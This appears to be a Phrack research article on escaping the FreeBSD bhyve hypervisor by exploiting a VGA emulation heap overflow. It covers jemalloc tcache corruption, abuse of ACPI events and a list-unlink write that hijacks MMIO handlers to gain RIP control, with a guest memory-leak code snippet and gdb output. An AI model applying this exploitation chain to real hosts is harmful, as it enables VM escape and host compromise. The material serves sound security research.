==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x0b of 0x0f

```
|=-----------------------------------------------------------------------=|
|=-----=[ Tale of two hypervisor bugs - Escaping from FreeBSD bhyve ]=-----=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[  Reno Robert ]=---------------------------=|
|=---------------------------=[ @renorobertr ]=---------------------------=|
|=-----------------------------------------------------------------------=|
```

--[Table of contents

--[1 - Introduction

VM escape has become a popular topic of discussion over the last few years. A good amount of research on this topic has been published for various hypervisors like VMware, QEMU, VirtualBox, Xen and Hyper-V. Bhyve is a hypervisor for FreeBSD supporting hardware-assisted virtualization. This paper details the exploitation of two bugs in bhyve - FreeBSD-SA-16:32.bhyve [1] (VGA emulation heap overflow) and CVE-2018-17160 [21] (Firmware Configuration device bss buffer overflow) and some generic techniques which could be used for exploiting other bhyve bugs. Further, the paper also discusses sandbox escapes using PCI device passthrough, and Control-Flow Integrity bypasses in HardenedBSD 12-CURRENT

--[2 - Vulnerability in VGA emulation

FreeBSD disclosed a bug in VGA device emulation FreeBSD-SA-16:32.bhyve [1] found by Ilja van Sprundel, which allows a guest to execute code in the host. The bug affects virtual machines configured with 'fbuf' framebuffer device. The below patch fixed the issue:

```
    struct {
        uint8_t     dac_state;
-       int     dac_rd_index;
-       int     dac_rd_subindex;
-       int     dac_wr_index;
```

```
-       int     dac_wr_subindex;
+       uint8_t     dac_rd_index;
+       uint8_t     dac_rd_subindex;
+       uint8_t     dac_wr_index;
+       uint8_t     dac_wr_subindex;
        uint8_t     dac_palette[3 * 256];
        uint32_t    dac_palette_rgb[256];
    } vga_dac;
```

The VGA device emulation in bhyve uses 32-bit signed integer as DAC Address Write Mode Register and DAC Address Read Mode Register. These registers are used to access the palette RAM, having 256 entries of intensities for each value of red, green and blue. Data in palette RAM can be read or written by accessing DAC Data Register [2][3].

After three successful I/O access to red, green and blue intensity values, DAC Address Write Mode Register or DAC Address Read Mode Register is incremented automatically based on the operation performed. Here is the issue, the values of DAC Address Read Mode Register and DAC Address Write Mode Register does not wrap under index of 256 since the data type is not 'uint8_t', allowing an untrusted guest to read or write past the palette RAM into adjacent heap memory.

The out of bound read can be achieved in function vga_port_in_handler() of vga.c file:

```
case DAC_DATA_PORT:
        *val = sc->vga_dac.dac_palette[3 * sc->vga_dac.dac_rd_index +
        sc->vga_dac.dac_rd_subindex];
        sc->vga_dac.dac_rd_subindex++;
        if (sc->vga_dac.dac_rd_subindex == 3) {
                sc->vga_dac.dac_rd_index++;
                sc->vga_dac.dac_rd_subindex = 0;
        }
```

The out of bound write can be achieved in function vga_port_out_handler() of vga.c file:

```
case DAC_DATA_PORT:
        sc->vga_dac.dac_palette[3 * sc->vga_dac.dac_wr_index +
sc->vga_dac.dac_wr_subindex] = val;
        sc->vga_dac.dac_wr_subindex++;
        if (sc->vga_dac.dac_wr_subindex == 3) {
                sc->vga_dac.dac_palette_rgb[sc->vga_dac.dac_wr_index] =
                . . .
                . . .
                sc->vga_dac.dac_wr_index++;
                sc->vga_dac.dac_wr_subindex = 0;
         }
```

The vulnerability provides very powerful primitives - both read and write access to heap memory of the hypervisor user space process. The only issue is, after writing to dac_palette, the RGB value is encoded and written to the adjacent dac_palette_rgb array as a single value. This corruption can be corrected during the subsequent writes to dac_palette array since dac_palette_rgb is placed next to dac_palette during the linear write. But if the corrupted memory is used before correction, the bhyve process could crash. Such an issue was not faced during the development of exploit under FreeBSD 11.0-RELEASE-p1 r306420

--[3 - Exploitation of VGA bug

Though FreeBSD does not have ASLR, it is necessary to understand the process memory layout, the guest features which allow allocation and deallocation of heap memory in the host process and the ideal structures to corrupt for gaining reliable exploit primitives. This section provides an in-depth analysis of the exploitation of heap overflow to achieve arbitrary code execution in the host.

----[3.1 - Analysis of memory allocations in heap

FreeBSD uses jemalloc allocator for dynamic memory management. Research done by huku, argp and vats on jemalloc [4][5][6], provides great insights into the allocator. Understanding the details provided in paper Pseudomonarchia jemallocum [4] is essential for following many parts of section 3. The jemalloc used in FreeBSD 11.0-RELEASE-p1 is slightly different from the one described in papers [4][5], however, the core design and exploitation techniques remain the same.

The user space bhyve process is multi-threaded, and hence multiple thread caches are used by jemalloc. The threads of prime importance for this study are 'mevent' and 'vcpu N', where N is the vCPU number. 'mevent' thread is the main thread which does all the initialization as part of main() function in bhyverun.c file:

```
int
main (int argc, char *argv[])
{
        memsize = 256 * MB;
        . . .
        case 'm':
                error = vm_parse_memsize(optarg, &memsize);
        . . .
        vm_set_memflags(ctx, memflags);
        err = vm_setup_memory(ctx, memsize, VM_MMAP_ALL);
        . . .
        if (init_pci(ctx) != 0)
        . . .
        fbsdrun_addcpu(ctx, BSP, BSP, rip);
        . . .
        mevent_dispatch();
        . . .
}
```

The first allocation of importance is the guest physical memory, mapped into the address space of the bhyve process. A preconfigured memory of 256MB is allocated to any virtual machine. A VM can also be configured with more memory using '-m' parameter. The guest physical memory map along with the system memory looks like below (found in pci_emul.c):

```
/*
 * The guest physical memory map looks like the following:
 * [0,            lowmem)     guest system memory
 * [lowmem,       lowmem_limit)   memory hole (may be absent)
 * [lowmem_limit,   0xE0000000)     PCI hole (32-bit BAR
 * allocation)
 * [0xE0000000,     0xF0000000)     PCI extended config window
 * [0xF0000000,     4GB)        LAPIC, IOAPIC, HPET,
 * firmware
 * [4GB,        4GB + highmem)
 */
```

Here the lowmem_limit can be a maximum value up to 3GB. Guest system memory is mapped into the bhyve process by calling mmap(). Along with the requested size of guest system memory, 4MB (VM_MMAP_GUARD_SIZE) guard pages are allocated before and after the virtual address space of the guest system memory. The vm_setup_memory() API in lib/libvmmapi/vmmapi.c performs the mentioned operation as below:

```
int
vm_setup_memory(struct vmctx *ctx, size_t memsize, enum vm_mmap_style vms)
{
        . . .
        /*
          * If 'memsize' cannot fit entirely in the 'lowmem' segment then
          * create another 'highmem' segment above 4GB for the remainder.
          */
        if (memsize > ctx->lowmem_limit) {
```

```
                ctx->lowmem = ctx->lowmem_limit;
                ctx->highmem = memsize - ctx->lowmem_limit;
                objsize = 4*GB + ctx->highmem;
        } else {
                ctx->lowmem = memsize;
                ctx->highmem = 0;
                objsize = ctx->lowmem;
        }

        /*
          * Stake out a contiguous region covering the guest physical
          * memory
          * and the adjoining guard regions.
          */
        len = VM_MMAP_GUARD_SIZE + objsize + VM_MMAP_GUARD_SIZE;
        flags = MAP_PRIVATE | MAP_ANON | MAP_NOCORE | MAP_ALIGNED_SUPER;
        ptr = mmap(NULL, len, PROT_NONE, flags, -1, 0);
        . . .
        baseaddr = ptr + VM_MMAP_GUARD_SIZE;
        . . .
        ctx->baseaddr = baseaddr;
        . . .
}
```

Once the contiguous allocation for guest physical memory is made, the pages are later marked as PROT_READ | PROT_WRITE and mapped into the guest address space. The 'baseaddr' is the virtual address of guest physical memory.

The next interesting allocation is made during the initialization of virtual PCI devices. The init_pci() call in main() initializes all the device emulation code including the framebuffer device. The framebuffer device performs initialization of the VGA structure 'vga_softc' in vga.c file as below:

```
void *
vga_init(int io_only)
{
        struct inout_port iop;
        struct vga_softc *sc;
        int port, error;

        sc = calloc(1, sizeof(struct vga_softc));
        . . .
}

struct vga_softc {
        struct mem_range        mr;
        . . .
        struct {
                uint8_t.       dac_state;
                int                   dac_rd_index;
                int                 dac_rd_subindex;
                int                 dac_wr_index;
                int                 dac_wr_subindex;
                uint8_t         dac_palette[3 * 256];
                uint32_t       dac_palette_rgb[256];
        } vga_dac;
};
```

The 'vga_softc' structure (2024 bytes) where the overflow happens is allocated as part of tcache bin, servicing regions of size 2048 bytes. The framebuffer device also performs a few allocations as part of the remote framebuffer server, however, these are not significant for the exploitation of the bug.

Next, let's analyze the memory between vga_softc structure and the guest physical memory guard page to identify any interesting structures to corrupt or leak. Since the out of bounds read/write is linear, guest can only leak information until the guard page for now. The file readmemory.c in the attached code reads the bhyve heap memory from an Ubuntu 14.04.5 LTS guest operating system.

```
---[ readmemory.c ]---

. . .
        iopl(3);

        warnx("[+] Reading bhyve process memory...");
        chunk_lw_size = getpagesize() * PAGES_TO_READ;
        chunk_lw = calloc(chunk_lw_size, sizeof(uint8_t));

        outb(0, DAC_IDX_RD_PORT);
        for (int i = 0; i < chunk_lw_size; i++) {
                chunk_lw[i] = inb(DAC_DATA_PORT);
        }

        for (int index = 0; index < chunk_lw_size/8; index++) {
                qword = ((uint64_t *)chunk_lw)[index];
                if (qword > 0) {
                        warnx("[%06d] => 0x%lx", index, qword);
                }
        }
. . .
```

Running the code in the guest leaks a bunch of heap pointers as below:

```
root@linuxguest:~/setupA/readmemory# ./readmemory
. . .
readmemory: [128483] => 0x801b6f000
readmemory: [128484] => 0x801b6f000
readmemory: [128486] => 0xe4000000b5
readmemory: [128489] => 0x100000000
readmemory: [128491] => 0x801b6fb88
readmemory: [128493] => 0x100000000
readmemory: [128495] => 0x801b701c8
readmemory: [128497] => 0x100000000
readmemory: [128499] => 0x801b70808
readmemory: [128501] => 0x100000000
readmemory: [128503] => 0x801b70e48
. . .
```

After some analysis, it is realized that this is tcache_s structure used by jemalloc. Inspecting the memory with gdb provides further details:

```
(gdb) info threads
  Id   Target Id         Frame
* 1    LWP 100185 of process 4891 "mevent" 0x000000080121198a in _kevent ()
* from /lib/libc.so.7
. . .
  12   LWP 100198 of process 4891 "vcpu 0" 0x00000008012297da in ioctl ()
from /lib/libc.so.7

(gdb) thread 12
[Switching to thread 12 (LWP 100198 of process 4891)]
#0  0x00000008012297da in ioctl () from /lib/libc.so.7

(gdb) print *((struct tsd_s *)($fs_base-160))
$21 = {state = tsd_state_nominal, tcache = 0x801b6f000, thread_allocated =
2720, thread_deallocated = 2464, prof_tdata = 0x0, iarena = 0x801912540,
arena = 0x801912540,
  arenas_tdata = 0x801a1b040, narenas_tdata = 8, arenas_tdata_bypass =
false, tcache_enabled = tcache_enabled_true, __je_quarantine = 0x0,
witnesses = {qlh_first = 0x0},
  witness_fork = false}
```

For any thread, the thread-specific data is located at an address pointed by $fs_base-160. The tcache address can be found by inspecting 'tsd_s' structure. The 'vcpu 0' thread's tcache structure is the one that the guest could access using the VGA bug. This can be confirmed by gdb:

```
(gdb) print *(struct tcache_s *)0x801b6f000
$1 = {link = {qre_next = 0x801b6f000, qre_prev = 0x801b6f000},
prof_accumbytes = 0, gc_ticker = {tick = 181, nticks = 228}, next_gc_bin =
0, tbins = {{tstats = {nrequests = 0},
      low_water = 0, lg_fill_div = 1, ncached = 0, avail = 0x801b6fb88}}}
```

Since tcache structure is accessible, the tcache metadata can be corrupted as detailed in [4] for further exploitation. The heap layout was further analyzed under multiple CPU configurations as below:

- Guest with single vCPU and host with single CPU
- Guest with single vCPU and host with more than one CPU core
- Guest with more than one vCPU and host with more than one CPU core

Some of the observed changes are
- The number of jemalloc arenas is 4 times the number of CPU core available. When the number of CPU core changes, the heap layout also changes marginally. I say marginally because tcache structure can still be reached from the 'vga_softc' structure during the overflow
- When there is more than one vCPU, each vCPU thread has its own thread caches (tcache_s). The thread caches of vCPU's are placed one after the other.

The thread cache structures of vCPU threads are allocated in the same chunk as that of vga_softc structure managed by arena[0]. During a linear overflow, the first tcache_s structure to get corrupted is that of vCPU0. Since vCPU0 is always available under any configuration, it is a reliable target to corrupt. The CPU affinity of exploit running in the guest should be set to vCPU0 to ensure corrupted structures are used during the execution of the exploit. To summarize, the heap layout looks like below:

```
+-------------------------------------------------------+-------+---------+
|                                                       |       |         |
| +---------+  +--------+   +--------+     +--------+ |       |         |
| |vga_softc|  |tcache_s|   |tcache_s|.....|tcache_s| | Guard |  Guest  |
| |         |  | vCPU0  |   | vCPU1  |     | vCPUX  | | Page  |  Memory |
| +---------+  +--------+   +--------+     +--------+ |       |         |
|                                                       |       |         |
+-------------------------------------------------------+-------+---------+
```

This memory layout is expected to be consistent for a couple of reasons. First, the jemalloc chunk of size 2MB is mapped by the allocator when bhyve makes its first allocation request during _libpthread_init() -> _thr_alloc() -> calloc(). This further goes through a series of calls tcache_create() -> ipallocztm() -> arena_palloc() -> arena_malloc() -> arena_malloc_large() -> arena_run_alloc_large() -> arena_chunk_alloc() -> chunk_alloc_core() -> chunk_alloc_mmap() -> pages_map() -> mmap() (some of the functions are skipped and library-private functions will have a prefix __je_ to their function names). The guest memory mapped using vm_setup_memory() during bhyve initialization will occupy the memory region right after this jemalloc chunk due to the predictable mmap() behaviour. Second, the 'vga_softc' structure will occupy a lower memory address in the chunk compared to that of 'tcache_s' structures because jemalloc allocates 'tcache_s' structures using tcache_create() (serviced as large allocation request of 32KB in this case) only when the vCPU threads make an allocation request. Allocation of 'vga_softc' structure happens much earlier in the initialization routine compared to the creation of vCPU threads by fbsdrun_addcpu().

----[3.2 - ACPI shutdown and event handling

Next task is to find a feature which allows the guest to trigger an allocation or deallocation after corrupting the tcache metadata. Inspecting each of the bins, an interesting allocation was found in tbins[4]:

```
(gdb) print ((struct tcache_s *)0x801b6f000)->tbins[4]
```

```
$2 = {tstats = {nrequests = 1}, low_water = -1, lg_fill_div = 1, ncached =
63, avail = 0x801b71248}

(gdb) x/gx 0x801b71248-64*8
0x801b71048:    0x0000000813c10000

(gdb) x/5gx 0x0000000813c10000
0x813c10000:    0x0000000000430380  0x000000000000000f
0x813c10010:    0x0000000000000003  0x0000000801a15080
0x813c10020:    0x0000000100000000

(gdb) x/i 0x0000000000430380
   0x430380 <power_button_handler>: push   %rbp

 (gdb) print *(struct mevent *)0x0000000813c10000
$3 = {me_func = 0x430380 <power_button_handler>, me_fd = 15, me_timid = 0,
me_type = EVF_SIGNAL, me_param = 0x801a15080, me_cq = 0, me_state = 1,
me_closefd = 0, me_list = {
    le_next = 0x801a15100, le_prev = 0x801a15430}}
```

bhyve emulates access to I/O port 0xB2 (Advanced Power Management Control port) to enable and disable ACPI virtual power button. A handler for SIGTERM signal is registered through FreeBSD's kqueue mechanism [7].

'mevent' is a micro event library based on kqueue for bhyve found in mevent.c. The library exposes a set of API for registering and modifying events. The main 'mevent' thread handles all the events. The mevent_dispatch() function called from main() dispatches to the respective event handlers when an event is reported. The two notable API's of interest for the exploitation of this bug are mevent_add() and mevent_delete(). Let's see how the 0xB2 I/O port handler in pm.c uses the mevent library:

```
static int
smi_cmd_handler(struct vmctx *ctx, int vcpu, int in, int port, int bytes,
    uint32_t *eax, void *arg)
{
        . . .
        switch (*eax) {
        case BHYVE_ACPI_ENABLE:
                . . .
                if (power_button == NULL) {
                        power_button = mevent_add(SIGTERM, EVF_SIGNAL,
                            power_button_handler, ctx);
                        old_power_handler = signal(SIGTERM, SIG_IGN);
                }
                break;
        case BHYVE_ACPI_DISABLE:
                . . .
                if (power_button != NULL) {
                        mevent_delete(power_button);
                        power_button = NULL;
                        signal(SIGTERM, old_power_handler);
                }
                break;
        }
        . . .
}
```

Writing the value 0xa0 (BHYVE_ACPI_ENABLE) will trigger a call to mevent_add() in mevent.c. mevent_add() function allocates a mevent structure using calloc(). The events that require addition, update or deletion are maintained in a list pointed by the list head 'change_head'. The elements in the list are doubly linked.

```
struct mevent *
mevent_add(int tfd, enum ev_type type,
           void (*func)(int, enum ev_type, void *), void *param)
{
        . . .
```

```
        mevp = calloc(1, sizeof(struct mevent));
        . . .
        mevp->me_func = func;
        mevp->me_param = param;

        LIST_INSERT_HEAD(&change_head, mevp, me_list);
        . . .
}

struct mevent {
        void    (*me_func)(int, enum ev_type, void *);
        . . .
        LIST_ENTRY(mevent) me_list;
};

#define LIST_ENTRY(type)                        \
struct {                                \
        struct type *le_next;   /* next element */          \
        struct type **le_prev;  /* address of previous next element */  \
}
```

Similarly, writing a value 0xa1 (BHYVE_ACPI_DISABLE) will trigger a call to mevent_delete() in mevent.c. mevent_delete() unlinks the event from the list using LIST_REMOVE() and marks it for deletion by mevent thread:

```
static int
mevent_delete_event(struct mevent *evp, int closefd)
{
        . . .
                LIST_REMOVE(evp, me_list);
        . . .
}

#define LIST_NEXT(elm, field)   ((elm)->field.le_next)
#define LIST_REMOVE(elm, field) do {                                    \
        . . .
        if (LIST_NEXT((elm), field) != NULL)                            \
                LIST_NEXT((elm), field)->field.le_prev =
\
                    (elm)->field.le_prev;
\
        *(elm)->field.le_prev = LIST_NEXT((elm), field);               \
        . . .
} while (0)
```

To summarize, guest can allocate and deallocate a mevent structure having function and list pointers. The allocation requests are serviced by thread cache of vCPU threads. CPU affinity could be set for the exploit code, to force allocations from a vCPU thread of choice. i.e. vCPU0 as seen in the previous section. Corrupting the 'tcache_s' structure of vCPU0, would allow us to control where the mevent structure gets allocated.

----[3.3 - Corrupting tcache_s structure

'tcache_s' structure has an array of tcache_bin_s structures. tcache_bin_s has a pointer (void **avail) to an array of pointers to pre-allocated memory regions, which services allocation requests of a fixed size.

```
typedef struct tcache_s tcache_t;

struct tcache_s {
    struct {
        tcache_t *qre_next;
        tcache_t *qre_prev;
    } link;
    uint64_t prof_accumbytes;
    ticker_t gc_ticker;
    szind_t next_gc_bin;
    tcache_bin_t tbins[1];
```

```
}

struct tcache_bin_s {
    tcache_bin_stats_t tstats;
    int low_water;
    unsigned int lg_fill_div;
    unsigned int ncached;
    void **avail;
}
```

As seen in section 2.1.7 and 3.3.3 of paper Pseudomonarchia jemallocum [4] and [6], it is possible to return an arbitrary address during allocation by corrupting thread caches. 'ncached' is the number of cached free memory regions available for allocation. When an allocation is requested, it is fetched as avail[-ncached] and 'ncached' gets decremented. Likewise, when an allocation is freed, 'ncached' gets incremented, and the pointer is added to the free list as avail[-ncached] = ptr. The allocation requests for 'mevent' structure with size 0x40 bytes is serviced by tbin[4].avail pointers. The 'vga_softc' out of bound read can first leak the heap memory including the 'tcache_s' structure. Then the out of bound write can be used to overwrite the pointers to free memory regions pointed by 'avail'. By leaking and rewriting memory, we make sure parts of memory other than thread caches are not corrupted. To be specific, it is only needed to overwrite tbins[4].avail[-ncached] pointer before invoking mevent_add(). On a side note, the event marked for deletion by mevent_delete() is freed by mevent thread and not by vCPU0 thread. Hence the freed pointer never makes into tbins[4].avail array of vCPU0 thread cache but becomes available in mevent thread cache.

When calloc() request is made to allocate mevent structure in mevent_add(), it uses the overwritten pointers of tcache_s structure. This forces the mevent structure to be allocated at the arbitrary guest-controlled address. Though the mevent structure can be allocated at an arbitrary address, we do not have control over the contents written to it to turn this into a write-anything-anywhere.

In order to modify the contents of mevent structure, one solution is to allocate the structure into the guest system memory, mapped in the bhyve process. Since this memory is accessible to the guest, the contents can be directly modified from within the guest. The other solution is to allocate the structure adjacent to the 'vga_softc' structure, use the out of bound write again, to modify the content. The later technique will be discussed in section 4.

The current approach to determine the 'tcache_s' structure in the leaked memory is a signature-based search using 'tcache_s' definition implemented as find_jemalloc_tcache() in the PoC. It is observed that the link pointers 'qre_next' and 'qre_prev' are page-aligned since 'tcache_s' allocations are page-aligned. Moreover, there are other valid pointers such as tbins[index].avail, which can be used as signatures. When a possible 'tcache_s' structure is located in memory, the tbins[4].avail pointer is fetched for further analysis. Next part of this approach is to locate the array of pointers in memory which tbins[4].avail points to, by searching for a sequence of values varying by 0x40 (mevent allocation size). Once the offset to avail pointer array from 'vga_softc' structure is known, we can precisely overwrite tbin[4].avail[-ncached] to return an arbitrary address. The 'vga_softc' address can be roughly calculated as tbins[4].avail - (number of entries in avail * sizeof(void *)) - offset to avail array from 'vga_softc' structure. tcache_create() function in tcache.c gives a clear understanding of tcache_s allocation and avail pointer assignment:

```
tcache_t *
tcache_create(tsdn_t *tsdn, arena_t *arena)
{
        . . .
    size = offsetof(tcache_t, tbins) + (sizeof(tcache_bin_t) * nhbins);
    /* Naturally align the pointer stacks. */
        size = PTR_CEILING(size);
        stack_offset = size;
```

```
        size += stack_nelms * sizeof(void *);
        /* Avoid false cacheline sharing. */
        size = sa2u(size, CACHELINE);

        tcache = ipalloczt m(tsdn, size, CACHELINE, true, NULL, true,
            arena_get(TSDN_NULL, 0, true));
        . . .
        for (i = 0; i < nhbins; i++) {
                tcache->tbins[i].lg_fill_div = 1;
        stack_offset += tcache_bin_info[i].ncached_max *
                    sizeof(void *);
                /*
         * avail points past the available space.  Allocations will
         * access the slots toward higher addresses (for the
         * benefit of prefetch).
                 */
        tcache->tbins[i].avail = (void **)((uintptr_t)tcache +
                (uintptr_t)stack_offset);
        }

        return (tcache);
}
```

The techniques to locate 'tcache_s' structure has lot more scope for improvement and further study in terms of the signature used or leaking 'tcache_s' base address directly from link pointers when qre_next == qre_prev

----[3.4 - Discovering base address of guest memory

Leaking the 'baseaddr' allows the guest to set up shared memory between the guest and the host bhyve process. By knowing the guest physical address of a memory allocation, the host virtual address of the guest allocation can be calculated as 'baseaddr' + guest physical address. Fake data structures or payloads could be injected into the bhyve process memory using this shared memory from the guest [8].

Due to the memory layout observed in section 3.1, if we can leak at least one pointer within the jemalloc chunk before guest memory pages (which is the case here), the base address of chunk can be calculated. Jemalloc in FreeBSD 11.0 uses chunks of size 2 MB, aligned to its size. CHUNK_ADDR2BASE() macro in jemalloc calculates the base address of a chunk, given any pointer in a chunk as below:

```
#define CHUNK_ADDR2BASE(a)                                              \
                ((void *)((uintptr_t)(a) & ~chunksize_mask))
```

where chunksize_mask is '(chunksize - 1)' and 'chunksize' is 2MB. Once the chunk base address is known, the base address of guest memory can be calculated as chunk base address + chunk size + VM_MMAP_GUARD_SIZE (4MB)

Another way to get the base address is by leaking the 'vmctx' structure from lower memory of chunk. This will be discussed as part of section 4.3.

----[3.5 - Out of bound write to write pointer anywhere using unlink

Once the guest allocates the mevent structure within its system memory, it can overwrite the 'power_button_handler' callback and wait until the host turns off the VM. SIGTERM signal will be delivered to the bhyve process during poweroff, which in turn triggers the overwritten handler, giving RIP control. However, this approach has a drawback - the guest needs to wait until the VM is powered off from the host.

To eliminate this host interaction, the next idea is to use the list unlink. By corrupting the previous and next pointers of the list, we can write an arbitrary value to an arbitrary address using LIST_REMOVE() in mevent_delete_event() (section 3.2). The major limitation of this approach is that the value written should also be a writable address. Hence function pointers cannot be directly overwritten.

With the ability to write a writable address to arbitrary address, the next step is to find a target to overwrite to control RIP indirectly.

----[3.6 - MMIO emulation and RIP control methodology

The PCI hole memory region of guest memory (section 3.1) is not mapped and is used for device emulation. Any access to this memory will trigger an Extended Page Table (EPT) fault resulting in VM-exit. The vmx_exit_process() in the VMM code src/sys/amd64/vmm/intel/vmx.c invokes the respective handler based on the VM-exit reason.

```
static int
vmx_exit_process(struct vmx *vmx, int vcpu, struct vm_exit *vmexit)
{
        . . .
        case EXIT_REASON_EPT_FAULT:
                /*
                 * If 'gpa' lies within the address space allocated to
                 * memory then this must be a nested page fault otherwise
                 * this must be an instruction that accesses MMIO space.
                 */
                gpa = vmcs_gpa();
                if (vm_mem_allocated(vmx->vm, vcpu, gpa) ||
                    apic_access_fault(vmx, vcpu, gpa)) {
                        vmexit->exitcode = VM_EXITCODE_PAGING;
                        . . .
                } else if (ept_emulation_fault(qual)) {
                        vmexit_inst_emul(vmexit, gpa, vmcs_gla());
                        vmm_stat_incr(vmx->vm, vcpu, VMEXIT_INST_EMUL, 1);
                }
        . . .
}
```

vmexit_inst_emul() sets the exit code to 'VM_EXITCODE_INST_EMUL' and other exit details for further emulation. The VM_RUN ioctl used to run the virtual machine then calls vm_handle_inst_emul() in sys/amd64/vmm/vmm.c, to check if the Guest Physical Address (GPA) accessed is emulated in-kernel. If not, the exit information is passed on to the user space for emulation.

```
int
vm_run(struct vm *vm, struct vm_run *vmrun)
{
        . . .
                case VM_EXITCODE_INST_EMUL:
                        error = vm_handle_inst_emul(vm, vcpuid, &retu);
                        break;
        . . .
}
```

MMIO emulation in the user space is done by the vmexit handler vmexit_inst_emul() in bhyverun.c. vm_loop() dispatches execution to the respective handler based on the exit code.

```
static void
vm_loop(struct vmctx *ctx, int vcpu, uint64_t startrip)
{
        . . .
                error = vm_run(ctx, vcpu, &vmexit[vcpu]);
        . . .
                exitcode = vmexit[vcpu].exitcode;
        . . .
                rc = (*handler[exitcode])(ctx, &vmexit[vcpu], &vcpu);
}

static vmexit_handler_t handler[VM_EXITCODE_MAX] = {
        . . .
        [VM_EXITCODE_INST_EMUL] = vmexit_inst_emul,
        . . .
```

```
};
```

The user space device emulation is interesting for this exploit because it has the right data structures to corrupt using the list unlink. The memory ranges and callbacks for each user space device emulation is stored in a red-black tree. When a PCI BAR is programmed to map a MMIO region using register_mem() or when a memory region is registered explicitly through register_mem_fallback() in mem.c, the information is added to mmio_rb_root and mmio_rb_fallback RB trees respectively. During an instruction emulation, the red-black trees are traversed to find the node which has the handler for the guest physical address which caused the EPT fault. The red-black tree nodes are defined by the structure 'mmio_rb_range' in mem.c

```
struct mmio_rb_range {
        RB_ENTRY(mmio_rb_range) mr_link;        /* RB tree links */
        struct mem_range        mr_param;
        uint64_t                mr_base;
        uint64_t                mr_end;
};
```

The 'mr_base' element is the starting address of a memory range, and 'mr_end' marks the ending address of the memory range. The 'mem_range' structure is defined in mem.h, has the pointer to the handler and arguments 'arg1' and 'arg2' along with 6 other arguments.

```
typedef int (*mem_func_t)(struct vmctx *ctx, int vcpu, int dir, uint64_t
addr,
                          int size, uint64_t *val, void *arg1, long arg2);

struct mem_range {
        const char      *name;
        int             flags;
        mem_func_t      handler;
        void            *arg1;
        long            arg2;
        uint64_t        base;
        uint64_t        size;
};
```

To avoid red-black tree lookup each time when there is an instruction emulation, a per-vCPU MMIO cache is used. Since most accesses from a vCPU will be to a consecutive address in a device memory range, the result of the red-black tree lookup is maintained in an array 'mmio_hint'. When emulate_mem() is called by vmexit_inst_emul(), first the MMIO cache is looked up to see if there is an entry. If yes, the guest physical address is checked against 'mr_base' and 'mr_end' value to validate the cache entry. If it is not the expected entry, it is a cache miss. Then the red-black tree is traversed to find the correct entry. Once the entry is found, vmm_emulate_instruction() in sys/amd64/vmm/vmm_instruction_emul.c (common code for user space and the VMM) is called for further emulation.

```
static struct mmio_rb_range *mmio_hint[VM_MAXCPU];

int
emulate_mem(struct vmctx *ctx, int vcpu, uint64_t paddr, struct vie *vie,
    struct vm_guest_paging *paging)

{
        . . .
        if (mmio_hint[vcpu] &&
            paddr >= mmio_hint[vcpu]->mr_base &&
            paddr <= mmio_hint[vcpu]->mr_end) {
                entry = mmio_hint[vcpu];
        } else
                entry = NULL;
        if (entry == NULL) {
                if (mmio_rb_lookup(&mmio_rb_root, paddr, &entry) == 0) {
                        /* Update the per-vCPU cache */
                        mmio_hint[vcpu] = entry;
```

```
                } else if (mmio_rb_lookup(&mmio_rb_fallback, paddr,
&entry)) {
        . . .
        err = vmm_emulate_instruction(ctx, vcpu, paddr, vie, paging,
                                      mem_read, mem_write,
&entry->mr_param);
        . . .
}
```

vmm_emulate_instruction() further calls into instruction specific handlers like emulate_movx(), emulate_movs() etc. based on the opcode type. The wrappers mem_read() and mem_write() in mem.c call the registered handlers with corresponding 'mem_range' structure for a virtual device.

```
int
vmm_emulate_instruction(void *vm, int vcpuid, uint64_t gpa, struct vie
*vie,
    struct vm_guest_paging *paging, mem_region_read_t memread,
    mem_region_write_t memwrite, void *memarg)
{
        . . .
        switch (vie->op.op_type) {
        . . .
        case VIE_OP_TYPE_MOVZX:
                error = emulate_movx(vm, vcpuid, gpa, vie,
                                     memread, memwrite, memarg);
                break;
        . . .
}

static int
emulate_movx(void *vm, int vcpuid, uint64_t gpa, struct vie *vie,
             mem_region_read_t memread, mem_region_write_t memwrite,
             void *arg)
{
        . . .
        switch (vie->op.op_byte) {
        case 0xB6:
        . . .
                error = memread(vm, vcpuid, gpa, &val, 1, arg);
        . . .
}

static int
mem_read(void *ctx, int vcpu, uint64_t gpa, uint64_t *rval, int size, void
*arg)
{
        int error;
        struct mem_range *mr = arg;
        error = (*mr->handler)(ctx, vcpu, MEM_F_READ, gpa, size,
                               rval, mr->arg1, mr->arg2);
        return (error);
}

static int
mem_write(void *ctx, int vcpu, uint64_t gpa, uint64_t wval, int size, void
*arg)
{
        int error;
        struct mem_range *mr = arg;
        error = (*mr->handler)(ctx, vcpu, MEM_F_WRITE, gpa, size,
                               &wval, mr->arg1, mr->arg2);
        return (error);
}
```

By overwriting the mmio_hint[0], i.e. cache of vCPU0, the guest can control the entire 'mmio_rb_range' structure during the lookup for MMIO emulation. Guest further gains control of RIP during the call to mem_read() or mem_write(), since mr->handler can point to an arbitrary value. The corrupted handler 'mr->handler' takes 8 arguments in total. The last two arguments, 'mr->arg1' and 'mr->arg2' therefore gets pushed on to the stack. This gives some control over the stack, which could be used for stack pivot.

In summary, corrupt jemalloc thread cache, use ACPI event handling to allocate mevent structure in guest, modify the list pointers, delete the event to trigger an unlink, use the unlink to overwrite 'mmio_hint[0]' to gain control of RIP.

```
       +--------------------------+
       |                          |
+------v-----++------------+      |
|mmio_hint[0]||mmio_hint[1]|      |
+------------++------------+      |
+-----------------------+----+----+-------------------------------------+
|          Heap         |....|    |             Guest Memory            |
|                       |....|+---+-----------------------------------+ |
|                       |....||   |    2MB Huge Page                  | |
|                       |....|| +-+---------------+                   | |
|                       |....|| | |   mevent      |                   | |
|+---------+ +--------+ |....|| | | +-----------+ |                   | |
||vga_softc| |tcache_s| |....|| | | |   next    +-+----------+        | |
||         | | vCPU0  | |....|| | | +-----------+ |          |        | |
|+---------+ +---+----+ |....|| | | +-----------+ | +--------v--------+ |
|                |      |....|| | +-+ previous  | | |     Fake        | |
|                |      |....|| |   +-----------+ | |  mmio_rb_range  | |
|                |      |....|| +---------^-------+ +-----------------+ |
|                |      |....|+-----------+---------------------------+ |
+----------------+------+----+------------+-----------------------------+
                 |                        |
                 |                        |
                 +------------------------+
```

It is possible to derive the address of mmio_hint[0] allocated in the bss segment by leaking the 'power_button_handler' function address (section 3.5) in 'mevent' structure. But due to the lack of PIE and ASLR, the hardcoded address of mmio_hint[0] was directly used in the proof of concept exploit code.

----[3.7 - Faking arena_chunk_s structure for arbitrary free

